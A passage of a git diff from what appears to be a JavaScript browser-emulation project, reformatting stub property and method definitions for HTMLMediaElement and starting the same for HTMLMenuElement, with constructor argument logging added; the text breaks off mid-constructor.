{configurable:true, enumerable:true, get:function controlsList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controlsList_get", arguments)}, set:function controlsList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controlsList_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "volume", {configurable:true, enumerable:true, get:function volume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "volume_get", arguments)}, set:function volume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "volume_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "muted", {configurable:true, enumerable:true, get:function muted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "muted_get", arguments)}, set:function muted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "muted_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "defaultMuted", {configurable:true, enumerable:true, get:function defaultMuted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultMuted_get", arguments)}, set:function defaultMuted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultMuted_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "textTracks", {configurable:true, enumerable:true, get:function textTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "textTracks_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "webkitAudioDecodedByteCount", {configurable:true, enumerable:true, get:function webkitAudioDecodedByteCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "webkitAudioDecodedByteCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "webkitVideoDecodedByteCount", {configurable:true, enumerable:true, get:function webkitVideoDecodedByteCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "webkitVideoDecodedByteCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "onencrypted", {configurable:true, enumerable:true, get:function onencrypted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onencrypted_get", arguments)}, set:function onencrypted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onencrypted_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "onwaitingforkey", {configurable:true, enumerable:true, get:function onwaitingforkey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onwaitingforkey_get", arguments)}, set:function onwaitingforkey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onwaitingforkey_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "srcObject", {configurable:true, enumerable:true, get:function srcObject (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "srcObject_get", arguments)}, set:function srcObject (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "srcObject_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_EMPTY", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_IDLE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_LOADING", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_NO_SOURCE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_NOTHING", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_METADATA", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_CURRENT_DATA", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_FUTURE_DATA", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_ENOUGH_DATA", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "addTextTrack", {configurable:true, enumerable:true, writable:true, value:function addTextTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "addTextTrack", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "canPlayType", {configurable:true, enumerable:true, writable:true, value:function canPlayType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "canPlayType", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "captureStream", {configurable:true, enumerable:true, writable:true, value:function captureStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "captureStream", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "load", {configurable:true, enumerable:true, writable:true, value:function load (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "load", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "pause", {configurable:true, enumerable:true, writable:true, value:function pause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "pause", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "play", {configurable:true, enumerable:true, writable:true, value:function play (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "play", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "sinkId", {configurable:true, enumerable:true, get:function sinkId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "sinkId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "remote", {configurable:true, enumerable:true, get:function remote (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "remote_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "disableRemotePlayback", {configurable:true, enumerable:true, get:function disableRemotePlayback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "disableRemotePlayback_get", arguments)}, set:function disableRemotePlayback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "disableRemotePlayback_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "setSinkId", {configurable:true, enumerable:true, writable:true, value:function setSinkId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "setSinkId", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "mediaKeys", {configurable:true, enumerable:true, get:function mediaKeys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "mediaKeys_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "setMediaKeys", {configurable:true, enumerable:true, writable:true, value:function setMediaKeys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "setMediaKeys", arguments)}},'prototype'); +// HTMLMediaElement对象 + +bodavm.memory.globalobj['HTMLMediaElement'] = function HTMLMediaElement() { + console.log_copy('HTMLMediaElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLMediaElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMediaElement'], "HTMLMediaElement"); +bodavm.memory.globalobj['HTMLMediaElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLMediaElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_EMPTY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_IDLE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_NO_SOURCE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_NOTHING", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_METADATA", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_CURRENT_DATA", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_FUTURE_DATA", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_ENOUGH_DATA", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "error_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "currentSrc", { + configurable: true, + enumerable: true, + get: function currentSrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "currentSrc_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "crossOrigin", { + configurable: true, + enumerable: true, + get: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "crossOrigin_get", arguments); + }, + set: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "crossOrigin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "networkState", { + configurable: true, + enumerable: true, + get: function networkState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "networkState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "preload", { + configurable: true, + enumerable: true, + get: function preload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preload_get", arguments); + }, + set: function preload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "buffered", { + configurable: true, + enumerable: true, + get: function buffered() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "buffered_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "seeking", { + configurable: true, + enumerable: true, + get: function seeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "seeking_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "currentTime", { + configurable: true, + enumerable: true, + get: function currentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "currentTime_get", arguments); + }, + set: function currentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "currentTime_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "paused", { + configurable: true, + enumerable: true, + get: function paused() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "paused_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "defaultPlaybackRate", { + configurable: true, + enumerable: true, + get: function defaultPlaybackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultPlaybackRate_get", arguments); + }, + set: function defaultPlaybackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultPlaybackRate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "playbackRate", { + configurable: true, + enumerable: true, + get: function playbackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "playbackRate_get", arguments); + }, + set: function playbackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "playbackRate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "played", { + configurable: true, + enumerable: true, + get: function played() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "played_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "seekable", { + configurable: true, + enumerable: true, + get: function seekable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "seekable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "ended", { + configurable: true, + enumerable: true, + get: function ended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "ended_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "autoplay", { + configurable: true, + enumerable: true, + get: function autoplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "autoplay_get", arguments); + }, + set: function autoplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "autoplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "loop", { + configurable: true, + enumerable: true, + get: function loop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "loop_get", arguments); + }, + set: function loop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "loop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "preservesPitch", { + configurable: true, + enumerable: true, + get: function preservesPitch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preservesPitch_get", arguments); + }, + set: function preservesPitch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preservesPitch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "controls", { + configurable: true, + enumerable: true, + get: function controls() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controls_get", arguments); + }, + set: function controls() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controls_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "controlsList", { + configurable: true, + enumerable: true, + get: function controlsList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controlsList_get", arguments); + }, + set: function controlsList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controlsList_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "volume", { + configurable: true, + enumerable: true, + get: function volume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "volume_get", arguments); + }, + set: function volume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "volume_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "muted", { + configurable: true, + enumerable: true, + get: function muted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "muted_get", arguments); + }, + set: function muted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "muted_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "defaultMuted", { + configurable: true, + enumerable: true, + get: function defaultMuted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultMuted_get", arguments); + }, + set: function defaultMuted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultMuted_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "textTracks", { + configurable: true, + enumerable: true, + get: function textTracks() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "textTracks_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "webkitAudioDecodedByteCount", { + configurable: true, + enumerable: true, + get: function webkitAudioDecodedByteCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "webkitAudioDecodedByteCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "webkitVideoDecodedByteCount", { + configurable: true, + enumerable: true, + get: function webkitVideoDecodedByteCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "webkitVideoDecodedByteCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "onencrypted", { + configurable: true, + enumerable: true, + get: function onencrypted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onencrypted_get", arguments); + }, + set: function onencrypted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onencrypted_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "onwaitingforkey", { + configurable: true, + enumerable: true, + get: function onwaitingforkey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onwaitingforkey_get", arguments); + }, + set: function onwaitingforkey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onwaitingforkey_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "srcObject", { + configurable: true, + enumerable: true, + get: function srcObject() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "srcObject_get", arguments); + }, + set: function srcObject() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "srcObject_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_EMPTY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_IDLE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_NO_SOURCE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_NOTHING", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_METADATA", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_CURRENT_DATA", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_FUTURE_DATA", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_ENOUGH_DATA", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "addTextTrack", { + configurable: true, + enumerable: true, + writable: true, + value: function addTextTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "addTextTrack", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "canPlayType", { + configurable: true, + enumerable: true, + writable: true, + value: function canPlayType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "canPlayType", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "captureStream", { + configurable: true, + enumerable: true, + writable: true, + value: function captureStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "captureStream", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "load", { + configurable: true, + enumerable: true, + writable: true, + value: function load() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "load", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "pause", { + configurable: true, + enumerable: true, + writable: true, + value: function pause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "pause", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "play", { + configurable: true, + enumerable: true, + writable: true, + value: function play() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "play", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "sinkId", { + configurable: true, + enumerable: true, + get: function sinkId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "sinkId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "remote", { + configurable: true, + enumerable: true, + get: function remote() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "remote_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "disableRemotePlayback", { + configurable: true, + enumerable: true, + get: function disableRemotePlayback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "disableRemotePlayback_get", arguments); + }, + set: function disableRemotePlayback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "disableRemotePlayback_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "setSinkId", { + configurable: true, + enumerable: true, + writable: true, + value: function setSinkId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "setSinkId", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "mediaKeys", { + configurable: true, + enumerable: true, + get: function mediaKeys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "mediaKeys_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "setMediaKeys", { + configurable: true, + enumerable: true, + writable: true, + value: function setMediaKeys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "setMediaKeys", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLMenuElement.js b/env_xbb_lastest_jsdom/env/HTMLMenuElement.js index 261c91ac..8ab38874 100644 --- a/env_xbb_lastest_jsdom/env/HTMLMenuElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLMenuElement.js @@ -1,6 +1,29 @@ -// HTMLMenuElement对象 -bodavm.memory.globalobj['HTMLMenuElement'] = function HTMLMenuElement(){if (!(this instanceof HTMLMenuElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMenuElement'], "HTMLMenuElement"); -bodavm.memory.globalobj['HTMLMenuElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLMenuElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLMenuElement', "compact", {configurable:true, enumerable:true, get:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMenuElement'].prototype, "HTMLMenuElement", "compact_get", arguments)}, set:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMenuElement'].prototype, "HTMLMenuElement", "compact_set", arguments)}},'prototype'); +// HTMLMenuElement对象 + +bodavm.memory.globalobj['HTMLMenuElement'] = function HTMLMenuElement() { + console.log_copy('HTMLMenuElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof 